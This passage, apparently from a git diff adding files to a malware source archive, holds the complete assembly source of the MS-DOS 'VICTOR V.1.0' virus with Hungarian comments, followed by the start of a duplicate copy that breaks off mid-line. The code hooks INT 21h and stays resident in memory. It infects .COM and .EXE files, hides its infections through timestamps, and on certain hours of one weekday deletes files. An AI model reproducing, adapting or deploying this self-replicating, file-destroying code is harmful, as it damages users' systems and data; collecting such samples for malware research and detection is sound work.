error ofs +; 79 = DOS fatal error seg +; 7B = DTA ofs +; 7D = DTA seg +; 7F = PSP seg +; B 81 = A sajat file f9=.EXE/f8=.COM (default) +; 82 = INT_21 ofs +; 84 = INT_21 seg +; 86 = az FFFF funkciora dos-tol visszakapott ertek +; 88 = seg PSP:100 / PSP +; 8C = env-en beluli offset sajat nev +; 8E = SS save area +; 90 = SP save area +; 92 +; | Parameter Block for Load +; 9E +; B A2 = INT_21 second +; B A3 = INT_21 minute +; A4 = INT_21 SS save +; A6 = INT_21 SP save +; A8 = flag 1=child process in action 0=foprocess +; A9 = INT_21 original AX +; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0 +; B B2 = day of week (0=sun ... 6=sat) +; B BA = f8 (default .COM file) f9=exe +; +XSEG SEGMENT + ASSUME CS:XSEG +XPROC PROC FAR + CALL L00B4 ;eloszor egy jmp x-el a virus indul el + db ?,?,? ;a program elso 3 byte-ja + db ? dup (?) ;adatterulet +L00B4: POP SI + SUB SI,3 + CLI + CLD + CLC + JC L00EB + PUSH SI + ADD SI,3 + CLD + MOV DI,100H ;restauracio + MOVSW + MOVSB + POP SI + MOV AX,CS + MOV BX,AX + MOV CL,4 + SHR SI,CL + ADD AX,SI ;ax=virus kezdet szegmens + PUSH AX + MOV AX,0D8H + PUSH AX + DB 0CBH ;RETF +;cont... + MOV CS:[7FH],BX ;eredeti PSP addr + MOV CS:[63H],BX + MOV AX,CS + MOV DS,AX + MOV ES,AX ;atteres a virus szegmensre + JMP L010A +;L00EB: +; MOV CS:[0063H],DS +; MOV AX,CS +; MOV DS,AX +; MOV ES,AX +; MOV AX,WORD PTR DS:[0063H] +; ADD AX,0010H +; MOV WORD PTR DS:[0065H],AX +; MOV SI,003FH +; MOV DI,0049H +; MOV CX,0005H +; MOVSW +; + +; +; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec. +; Ha a virus meg nincs a memoriaban _copy0 +; Ha mar bent van _exec +; +L010A: MOV AL,DS:[00BAH] + MOV DS:[0081H],AL + MOV AH,30H ;DOS version + INT 21H + CMP AL,3 + JZ vers_ok + MOV CX,0FEC1H + MOV DS:[0086H],CX + JMP _exec +vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ? + MOV BX,0FF0H + INT 21H + MOV DS:[0086H],CX + CMP CX,0FEC1H + JNZ _copy0 + JMP _exec +; +; _copy0: a virus elhelyezese a memoriaban +; +; A virus meg nincs a memoriaban. +; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e. +; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak +; megfeleloen. Ezek utan _exec. +; +_copy0: + PUSH ES + MOV AX,DS:[063H] ;A program ENV-je + MOV ES,AX + MOV AX,ES:[02CH] + MOV DS:[8AH],AX + PUSH DS + MOV AX,DS:[8AH] + MOV DS,AX + MOV ES,AX + XOR DI,DI + MOV AL,1 + MOV CX,01F4H + REPNE SCASB + INC DI + POP DS + POP ES + MOV DS:[8CH],DI ;Sajat fertozott programom neve + PUSH DS + MOV DX,DI + MOV AX,DS:[008AH] + MOV DS,AX + MOV AX,3D00H ;Open File = Sajat magam + INT 21H + POP DS + JNC L0175 + MOV DS:[86H],0FEC1H + JMP _exec +L0175: MOV BX,AX ;Close File + MOV AH,3EH + INT 21H + CMP BYTE PTR DS:[081H],0F9H + JZ exe_file ;Az exe-t 0-ra kell masolni + MOV AX,DS:[007FH] + MOV DS:[0065],AX + MOV ES,AX + ADD AX,0010H + MOV WORD PTR DS:[0088H],AX ;ES=PSP:100 + XOR SI,SI + MOV DI,0100H ;eddig a virus a mem vegen volt + MOV CX,098AH ;Atmasolja a virust PSP:100 ra + REP MOVSB + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH ;A vezerles a PSP:100 ban!!! to:1 +; +; .EXE program eseten nem kell lehet 100H ra tenni. +; +exe_file: + MOV AX,DS:[0065H] ;normal psp: + MOV ES,AX + MOV DS:[0088H],AX + XOR SI,SI + XOR DI,DI + MOV CX,098AH ;A virus szegmensbol a psp: re + REP MOVSB ; atmasolja a virust. + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH; RETF +; cont from 1 +; +; _exec: blow/install/run_original +; +; 1. Esetleges kartekonykodas. +; 2. a, Ha a virus mar a memoriaban van, lefuttatja az +; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./ +; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol +; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy +; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal +; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen +; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat +; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat +; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./ +; +; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./ +; +; + MOV AX,CS ;cs=psp:100 + MOV DS,AX + MOV ES,AX + MOV SS,AX + MOV SP,08F3H +_exec: MOV AH,2CH ;Get Time + INT 21H + MOV DS:[0072H],DX ;seconds/hundredths + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny + JE L01E2 + JMP L01E5 +L01E2: CALL _working ;???? kartekonykodhat... +L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt + JNZ _inst + JMP run_prg ;a program tarban van, ugorj ra! +_inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10 + SUB DX,DS:[0065H] + MOV BX,098AH ;Virus length in paragraphs + MOV CL,04H + SHR BX,CL + INC BX + ADD DX,BX + ADD DX,10H + MOV DS:[00A0H],DX + PUSH ES + MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken, + MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus + MOV AX,4A00H ; PSP vel egyutt meg + $10 + INT 21H ;/mivel bemasoltuk, ez ott van/ + POP ES + PUSH ES + MOV AX,3521H ;Get INT_21 vector + INT 21H + MOV DS:[0082H],BX + MOV DS:[0084H],ES + POP ES + MOV DX,06B3H ;Set INT_21 vector + MOV AX,2521H + INT 21H + MOV BYTE PTR DS:[00A8H],1 ;=child process flag + PUSH ES ;Prepare for Load/Exec self + PUSH DS + MOV DS:[008EH],SS + MOV DS:[0090H],SP + MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz + MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/ + MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt + MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent + MOV WORD PTR DS:[009AH],AX ;marad tovabbra is. + MOV WORD PTR DS:[009EH],AX + MOV BX,0092H + MOV DX,DS:[008CH] + MOV AX,WORD PTR DS:[008AH] + MOV DS,AX + MOV AX,4B00H + INT 21H + MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato + MOV SS,AX ;blokk, es visszakaptam a vezerlest. + MOV SP,CS:[0090H] + POP DS + POP ES + MOV BYTE PTR DS:[00A8H],0 ;Process flag + MOV DX,DS:[00A0H] + MOV AX,3100H ;Terminate process and remain resident + INT 21H ;(KEEP) +; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban +run_prg: + CMP BYTE PTR CS:[81H],0F8H ;.COM program + JNZ run_exe + JMP run_com +run_exe:MOV DX,DS:[0065H] ;PSP + ADD DS:[0051H],DX ;Inditasi szegmens + MOV AX,WORD PTR DS:[0049H] ;SS relative + ADD AX,DX ;Setup Stack + MOV SS,AX + MOV SP,DS:[004BH] + MOV AX,WORD PTR DS:[0063H] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + JMP DWORD PTR CS:[004FH] ;EXE Start point +; .COM program kornyezet beallitas, es lefuttatas PSP:100 +run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + PUSH AX + MOV AX,0100H + PUSH AX + DB 0CBH; RETF +; +; Kartekony: letorol egy par file-t, vagy fertoz +; +_working: + MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus + AND CX,3 + INC CX +delet: PUSH CX + CALL L02C5 + POP CX + LOOP delet + DB 0C3H; RET +; +L02C5: MOV AH,2AH ;Get Date + INT 21H + MOV DS:[00B2H],AL ;Day of Week + PUSH ES + MOV AH,2FH ;Get DTA + INT 21H + MOV DS:[007BH],BX + MOV DS:[007DH],ES + POP ES + MOV DX,0014H ;Set DTA + MOV AH,1AH + INT 21H + PUSH ES + MOV AX,3524H ;Get Dos Fatal Error vector + INT 21H + MOV DS:[0077H],BX + MOV DS:[0079H],ES + POP ES + MOV DX,00B3H + MOV AX,2524H ;Set Fatal Error to : IRET + INT 21H + MOV CX,0FFE3H + MOV DX,000AH ;Search for first :*.* + MOV AH,4EH + INT 21H + JNC _kezd + JMP io_err ; reset DTA, fatal error, RET +_kezd: MOV AH,2CH ;Set randomizer + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH ;Get Time + INT 21H + XOR DS:[0072H],DX + MOV BYTE PTR DS:[00B1H],0 ;idopont-flag + CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van? + JNZ no_date + CMP CH,9 ;Pentek 9h,11h,13h,15h-nal + JZ kill ; kimeletlenul letorol fileokat + CMP CH,0BH + JZ kill ;maskor neha megnezi hogy com/exe-e. + CMP CH,0DH + JZ kill + CMP CH,0FH + JNZ no_date +kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo +no_date:TEST WORD PTR DS:[0072H],30H + JNZ _1 + JMP d_next +_1: CMP BYTE PTR DS:[00B1H],1 + JNZ look_run + MOV DX,0032H ;Megfelel az idopont, es sajnos... + MOV CX,0020H + MOV AX,4301H + INT 21H ;change file mode to normal + JNB _del + JMP io_err +_del: MOV DX,0032H ;UNLINK file + MOV AH,41H + INT 21H + JMP io_err +; +; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs, +; egyebkent keres egy masik file-t. /1 lehetoseget ad/ +; +look_run: + MOV DI,0032H ;A penteki kritikus idon kivul + XOR AL,AL ;akar fertozhet is + MOV CX,003FH + REPNE SCASB + SUB DI,+04H + MOV BP,DI + MOV SI,DI + MOV CX,0003H ;ez egy .COM volt ??? + MOV DI,000EH + REPE CMPSB + JZ _dcom + MOV SI,BP + MOV CX,0003H ;vagy egy .EXE ??? + MOV DI,0011H + CMPSB + JZ _dexe + JMP d_next ;nem futtathato file, ujat +_dcom: MOV BYTE PTR DS:[0074H],1 + JMP _d +_dexe: MOV BYTE PTR DS:[0074H],0 +_d: MOV DX,0032H ;Get file attr + MOV AX,4300H + INT 21H + JNB _2 + JMP io_err +_2: MOV DS:[0075H],CX + MOV DX,0032H ;Set normal attr + MOV CX,0020H + MOV AX,4301H + INT 21H + JNC L03CD + JMP io_err +L03CD: MOV DX,0032H ;Open file + MOV AX,3D02H + INT 21H + JNB L03DA + JMP io_err +L03DA: MOV BX,AX + MOV AX,5700H ;Get file date/time + INT 21H ;a fertozott fileok ideje oszthato 8-al + JNB _3 + JMP io_err +_3: MOV DS:[0006H],CX + MOV DS:[0008H],DX + TEST CX,0007H + JZ dft_ok + JMP fertoz ;ha nem oszthato 8-al, nincs fertozve +dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik + JZ d_mehet + JMP d_clnxt +d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6 + MOV DX,0FFFAH + MOV AX,4202H + INT 21H + JNB dls_ok + JMP io_err +dls_ok: MOV CX,0006H ;Read file's last 6 byte + MOV DX,00ABH + MOV AH,3FH + INT 21H + JNC drd_ok + JMP io_err +drd_ok: MOV CX,0003H ;megegyezik valamivel + MOV SI,0984H ;/mar fertozott/ + MOV DI,00ABH + REPE CMPSW + JZ d_clnxt + JMP fertoz +d_clnxt: ;Close and Next + MOV AH,3EH + INT 21H + JNB d_attrs + JMP io_err +dattrs: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JNC d_next + JMP io_err +; +; Probal ujabb file-t keresni +; +d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van + JNZ _dsnext + JMP io_err +_dsnext:MOV AH,4FH + INT 21H + JNC _dnxtok + JMP io_err +_dnxtok:JMP _kezd +; +; A fertozott file jellemzoi: /.COM v .EXE / +; +; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal. +; A tul nagy .COM fileokat nem bantja. +; File ido oszthato 8-al +; File vegen levo virus azonosito (6 byte ea80492502. ) +; +fertoz: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNC _4 + JMP io_err +_4: AND DX,DX + JNZ d_selct + CMP AX,098AH ;csak a virusnal nagyobbak jok + JNC d_selct + JMP d_clnxt +d_selct:CMP BYTE PTR DS:[0074H],1 + JNZ df_exe + JMP df_com +; +; .EXE file megfertozese +; +; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot +; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet +; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size , +; es ez lesz erteke az uj +SS,+CS nek, IP=0. +; /az eredeti exe kod moge, pont a virusra mutat/ +; 4. Felirja az uj Header informaciot. +; 5. Megallapitja az uj filehossz div,mod 512-t +; 6. Felirja a headerbe (+2) +; 7. Visszaallitja a file-idot (div 8) es a file attributumot +; +df_exe: + MOV BYTE PTR CS:[BAH],0F9H ;.EXE file + XOR CX,CX + MOV DX,0008H + MOV AX,4200H ;LSEEK 8: Size of header $ + INT 21H + JNB _5 + JMP io_err +_5: MOV CX,0002H ;READ Size of header mod 512 + MOV DX,0061H + MOV AH,3FH + INT 21H + JNC _6 + JMP io_err +_6: XOR CX,CX ;LSEEK E: Offset of SS + MOV DX,000EH + MOV AX,4200H + INT 21H + JNC _7 + JMP io_err +_7: MOV CX,000AH ;Read header information + MOV DX,003FH + MOV AH,3FH + INT 21H + JNC _8 + JMP io_err +_8: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNB _9 + JMP io_err +_9: MOV CX,DX + MOV DX,AX ;a meret felkerekitve egy $-al + ADD DX,+10H ;mindig $ hatar + ADC CX,+00H + AND DX,-10H + MOV AX,4200H + INT 21H ;Elmegy a file vegere /maga szerint/ + JNB _10 + JMP io_err +_10: MOV DS:[005BH],DX + MOV DS:[0059H],AX + MOV CX,098AH + XOR DX,DX ;Felirja a virus-testet + MOV AH,40H + INT 21H + JNB L0501 + JMP io_err +L0501: CMP AX,CX + JE L0508 + JMP io_err +L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad. + MOV CL,0CH + SHL DX,CL + MOV AX,DS:[0059H] ;size LO + MOV CL,04H + SHR AX,CL + OR DX,AX + SUB DX,DS:[0061H] + MOV DS:[005BH],DX ;size $ - header_length = code_length$ + MOV DS:[0053H],DX + MOV WORD PTR DS:[0059H],0 + XOR CX,CX + MOV DX,000EH ;LSEEK E: + MOV AX,4200H + INT 21H + JNB L053A + JMP io_err +L053A: MOV CX,000AH ;WRITE UP new Header Info + MOV DX,0053H ; + MOV AH,40H ; new SS ofs = file moge mutat + INT 21H ; new IP = 0 + JNB L0549 ; new CS ofs = file moge mutat + JMP io_err + NOP +L0549: XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNB L0557 + JMP io_err + NOP +L0557: ADD AX,01FFH ;Totalsize = exesize + virus + ADC DX,0 ;felkerekiti 512-re + MOV DH,DL + MOV DL,AH ;DX= DL AH + XOR AH,AH + SHR DX,1 ; ez lesz a hanyados + ADC AH,0 + MOV WORD PTR DS:[005DH],AX ; 256/0 maradek + MOV DS:[005FH],DX + XOR CX,CX ;LSEEK 2: size mod 512 + MOV DX,0002H + MOV AX,4200H + INT 21H + JNB L057E + JMP io_err + NOP +L057E: MOV CX,0004H ;WRITE up size mod 512 + MOV DX,005DH ; size div 512 + MOV AH,40H + INT 21H + JNB L058D + JMP SHORT io_err + NOP +L058D: MOV CX,DS:[0006H] ;Set Original file time + MOV DX,DS:[0008H] ;kiveve time oszthato 8-al + AND CX,-08H + MOV AX,5701H + INT 21H + JNB L05A2 + JMP SHORT io_err + NOP +L05A2: MOV AH,3EH ;Close + INT 21H + JNB L05AB + JMP SHORT io_err + NOP +L05AB: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err +; +; I/O error +; +io_err: PUSH DS + MOV DX,DS:[007BH] + MOV AX,DS:[007DH] + MOV DS,AX ;Reset DTA + MOV AH,1AH + INT 21H + POP DS + PUSH DS + MOV DX,DS:[0077H] + MOV AX,DS:[0079H] ;Reset Fatal Error vector + MOV DS,AX + MOV AX,2524H + INT 21H + POP DS + DB 0C3H; RET +; +; A .COM file megfertozese: +; +; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt. +; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/ +; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a +; virus-testet. +; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3 +; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al +; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/, +; es az eredeti file-attributumot. +; +df_com: + MOV BYTE PTR CS:[BAH],0F8H ;.COM file + XOR DX,DX + XOR CX,CX + MOV AX,4202H ;LSEEK EOF + INT 21H + JNB _c1 + JMP SHORT io_err +_c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM) + SUB CX,098AH + CMP AX,CX + JB _csoz + JMP d_clnxt +_csok: XOR DX,DX + XOR CX,CX + MOV AX,4200H ;LSEEK START + INT 21H + JNB _crd3 + JMP SHORT io_err +_crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte + MOV DX,0003H ;(ezt fogja lecserelni az ugrasra) + MOV AH,3FH ;ds:3 ra azaz a virustestbe + INT 21H + JNB _crdok + JMP SHORT io_err +_crdok: CMP AX,CX + JZ _crdok1 + JMP SHORT io_err +_crdok1:XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNC _cls1ok + JMP io_err +_cls1ok:MOV BP,AX ; (size + 10h) AND -10h = + ADD BP,+10H + AND BP,-10H ; felkerekiti egy $-al a size-t + XOR CX,CX + MOV DX,BP + MOV AX,4200H ; es elmegy ide /over EOF/ + INT 21H + JNB _covr + JMP io_err +_covr: MOV CX,098AH ;WRITE felirja a virustestet + XOR DX,DX + MOV AH,40H + INT 21H + JNB _cwrok + JMP io_err +_cwrok: CMP AX,CX + JZ _cwr1ok + JMP io_err +_cwrok1:XOR DX,DX ;LSEEK START + XOR CX,CX + MOV AX,4200H + INT 21H + JNB L0664 + JMP io_err +L0664: MOV BYTE PTR DS:[0003H],0E9H + SUB BP,+03H ;WRITE jmp virus (size+3) + MOV DS:[0004H],BP + MOV CX,0003H + MOV DX,0003H + MOV AH,40H + INT 21H + JNB L067F + JMP io_err +L067F: CMP AX,CX + JE L0686 + JMP io_err +L0686: MOV CX,DS:[0006H] ;Set file Date/Time + MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL + AND CX,-08H ;CX = xxxxx000 + MOV AX,5701H + INT 21H + JNB L069B + JMP io_err +L069B: MOV AH,3EH ;Close file + INT 21H + JNB L06A4 + JMP io_err +L06A4: MOV CX,DS:[0075H] ;Set original file attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err ;befejezodott a fertozes + +;******************************* +;* * +;* A rezidens INT_21 funkcio * +;* * +;******************************* + + CMP AX,0FFFFH ;virus funkcio: install_stat + JNE L06C2 + CMP BX,0FF0H + JNE L06C2 + MOV CX,0FEC1H ;visszaadja az install-kodot + IRET +L06C2: CMP AH,3EH ;CLOSE + JE L0710 + CMP AH,41H ;UNLINK + JE L0710 + CMP AH,3CH ;CREAT + JE L0710 + CMP AH,42H ;LSEEK + JE L0710 + CMP AH,43H ;CHMOD + JE L0710 + CMP AH,4BH ;L/E + JE L0710 + CMP AH,4EH ;FFIRST + JE L0710 + CMP AH,4FH ;FNEXT + JE L0710 + CMP AH,5BH ;CREATE + JE L0710 + CMP AH,39H ;MKDIR + JE L0710 + CMP AH,3AH ;RMDIR + JE L0710 + CMP AH,3BH ;CHDIR + JE L0710 + CMP AH,3DH ;OPEN + JE L0710 + CMP AH,3FH ;READ + JE L0710 + CMP AH,40H ;WRITE except BX=1 stdout + JE L0710 + JMP jmp_dos +L0710: + CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk + JNE L071B ;mindent beken kell hagyni... + JMP jmp_dos +L071B: CMP AH,40H ;FN = WRITE, handle=1 (print) + JNE L0728 ; nem bantja + CMP BX,+01H + JNE L0728 + JMP jmp_dos ;to dos +L0728: + MOV CS:[00A9H],AX + MOV CS:[00A4H],SS + MOV CS:[00A6H],SP + MOV AX,CS + MOV SS,AX + MOV SP,08F3H + PUSH ES + PUSH DS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AX,CS + MOV DS,AX + MOV ES,AX + PUSH DS + MOV DX,DS:[0082H] + MOV AX,DS:[0084H] + MOV DS,AX + MOV AX,2521H ;Visszaallitja az eredeti + INT 21H ; DOS hivas lehetoseget + POP DS ; a rutinon belul + NOP + NOP + NOP + NOP + MOV AH,2CH ;Randomize + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH + INT 21H + XOR DS:[0072H],DX + MOV AH,2CH + INT 21H + CMP CL,DS:[00A3H] + JZ L0792 + MOV DS:[00A3H],CL ;min + MOV DS:[00A2H],DH ;sec + JMP do_it + NOP +L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep + ADD BL,30 + CMP DH,BL + JC _vDOS + MOV DS:[00A2H],DH +do_it: CALL _working +vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak + MOV AX,2521H + INT 21H + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP DS + POP ES + MOV AX,WORD PTR CS:[00A4H] + MOV SS,AX + MOV SP,CS:[00A6H] + MOV AX,WORD PTR CS:[00A9H] +jmp_dos + JMP DWORD PTR CS:[0082H] ;Exec DOS fn + + db 'The incredible anyad' + +XPROC ENDP +XSEG ENDS + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.victor.err b/MSDOS/Virus.MSDOS.Unknown.victor.err new file mode 100644 index 00000000..e0d01897 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.victor.err @@ -0,0 +1,889 @@ +;************************************************ +;* * +;* VICTOR V.1.0 * +;* The incredible high performance virus * +;* Length #98A bytes * +;* * +;************************************************ +; +; 6 = bunteto sys file's time +; 8 = bunteto sys file's date +; 3f = Loaded .EXE header E... offset SS +; 41 = value SP +; 43 = chksum +; 45 = value IP +; 47 = offset CS +; 49 = SS init addr (relative to 0) +; 4B = SP init addr +; 4F = .EXE start point ofs (relative to 0) +; 51 = .EXE start point seg +; 53 = .exe size$ - header length +; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/ +; 5B = --""-- +; 5D = .exe size length mod 512 +; 5F = .exe size length div 512 +; 61 = Loaded .EXE header length $ mod 512 +; 63 = PSP seg +; 65 = psp seg +; 72 = ido tarolohely hi=sec, lo=1/100 sec +; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE +; 75 = a bunteto rendszerben a talalt file attributuma +; 77 = DOS fatal error ofs +; 79 = DOS fatal error seg +; 7B = DTA ofs +; 7D = DTA seg +; 7F = PSP seg +; B 81 = A sajat file f9=.EXE/f8=.COM (default) +; 82 = INT_21 ofs +; 84 = INT_21 seg +; 86 = az FFFF funkciora dos-tol visszakapott ertek +; 88 = seg PSP:100 / PSP +; 8C = env-en beluli offset sajat nev +; 8E = SS save area +; 90 = SP save area +; 92 +; | Parameter Block for Load +; 9E +; B A2 = INT_21 second +; B A3 = INT_21 minute +; A4 = INT_21 SS save +; A6 = INT_21 SP save +; A8 = flag 1=child process in action 0=foprocess +; A9 = INT_21 original AX +; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0 +; B B2 = day of week (0=sun ... 6=sat) +; B BA = f8 (default .COM file) f9=exe +; +XSEG SEGMENT + ASSUME CS:XSEG +XPROC PROC FAR + CALL L00B4 ;eloszor egy jmp x-el a virus indul el + db ?,?,? ;a program elso 3 byte-ja + db ? dup (?) ;adatterulet +L00B4: POP SI + SUB SI,3 + CLI + CLD + CLC + JC L00EB + PUSH SI + ADD SI,3 + CLD + MOV DI,100H ;restauracio + MOVSW + MOVSB + POP SI + MOV AX,CS + MOV BX,AX + MOV CL,4 + SHR SI,CL + ADD AX,SI ;ax=virus kezdet szegmens + PUSH AX + MOV AX,0D8H + PUSH AX + DB 0CBH ;RETF +;cont... + MOV CS:[7FH],BX ;eredeti PSP addr + MOV CS:[63H],BX + MOV AX,CS + MOV DS,AX + MOV ES,AX ;atteres a virus szegmensre + JMP L010A +;L00EB: +; MOV CS:[0063H],DS +; MOV AX,CS +; MOV DS,AX +; MOV ES,AX +; MOV AX,WORD PTR DS:[0063H] +; ADD AX,0010H +; MOV WORD PTR DS:[0065H],AX +; MOV SI,003FH +; MOV DI,0049H +; MOV CX,0005H +; MOVSW +; + +; +; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec. +; Ha a virus meg nincs a memoriaban _copy0 +; Ha mar bent van _exec +; +L010A: MOV AL,DS:[00BAH] + MOV DS:[0081H],AL + MOV AH,30H ;DOS version + INT 21H + CMP AL,3 + JZ vers_ok + MOV CX,0FEC1H + MOV DS:[0086H],CX + JMP _exec +vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ? + MOV BX,0FF0H + INT 21H + MOV DS:[0086H],CX + CMP CX,0FEC1H + JNZ _copy0 + JMP _exec +; +; _copy0: a virus elhelyezese a memoriaban +; +; A virus meg nincs a memoriaban. +; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e. +; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak +; megfeleloen. Ezek utan _exec. +; +_copy0: + PUSH ES + MOV AX,DS:[063H] ;A program ENV-je + MOV ES,AX + MOV AX,ES:[02CH] + MOV DS:[8AH],AX + PUSH DS + MOV AX,DS:[8AH] + MOV DS,AX + MOV ES,AX + XOR DI,DI + MOV AL,1 + MOV CX,01F4H + REPNE SCASB + INC DI + POP DS + POP ES + MOV DS:[8CH],DI ;Sajat fertozott programom neve + PUSH DS + MOV DX,DI + MOV AX,DS:[008AH] + MOV DS,AX + MOV AX,3D00H ;Open File = Sajat magam + INT 21H + POP DS + JNC L0175 + MOV DS:[86H],0FEC1H + JMP _exec +L0175: MOV BX,AX ;Close File + MOV AH,3EH + INT 21H + CMP BYTE PTR DS:[081H],0F9H + JZ exe_file ;Az exe-t 0-ra kell masolni + MOV AX,DS:[007FH] + MOV DS:[0065],AX + MOV ES,AX + ADD AX,0010H + MOV WORD PTR DS:[0088H],AX ;ES=PSP:100 + XOR SI,SI + MOV DI,0100H ;eddig a virus a mem vegen volt + MOV CX,098AH ;Atmasolja a virust PSP:100 ra + REP MOVSB + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH ;A vezerles a PSP:100 ban!!! to:1 +; +; .EXE program eseten nem kell lehet 100H ra tenni. +; +exe_file: + MOV AX,DS:[0065H] ;normal psp: + MOV ES,AX + MOV DS:[0088H],AX + XOR SI,SI + XOR DI,DI + MOV CX,098AH ;A virus szegmensbol a psp: re + REP MOVSB ; atmasolja a virust. + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH; RETF +; cont from 1 +; +; _exec: blow/install/run_original +; +; 1. Esetleges kartekonykodas. +; 2. a, Ha a virus mar a memoriaban van, lefuttatja az +; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./ +; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol +; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy +; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal +; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen +; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat +; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat +; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./ +; +; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./ +; +; + MOV AX,CS ;cs=psp:100 + MOV DS,AX + MOV ES,AX + MOV SS,AX + MOV SP,08F3H +_exec: MOV AH,2CH ;Get Time + INT 21H + MOV DS:[0072H],DX ;seconds/hundredths + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny + JE L01E2 + JMP L01E5 +L01E2: CALL _working ;???? kartekonykodhat... +L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt + JNZ _inst + JMP run_prg ;a program tarban van, ugorj ra! +_inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10 + SUB DX,DS:[0065H] + MOV BX,098AH ;Virus length in paragraphs + MOV CL,04H + SHR BX,CL + INC BX + ADD DX,BX + ADD DX,10H + MOV 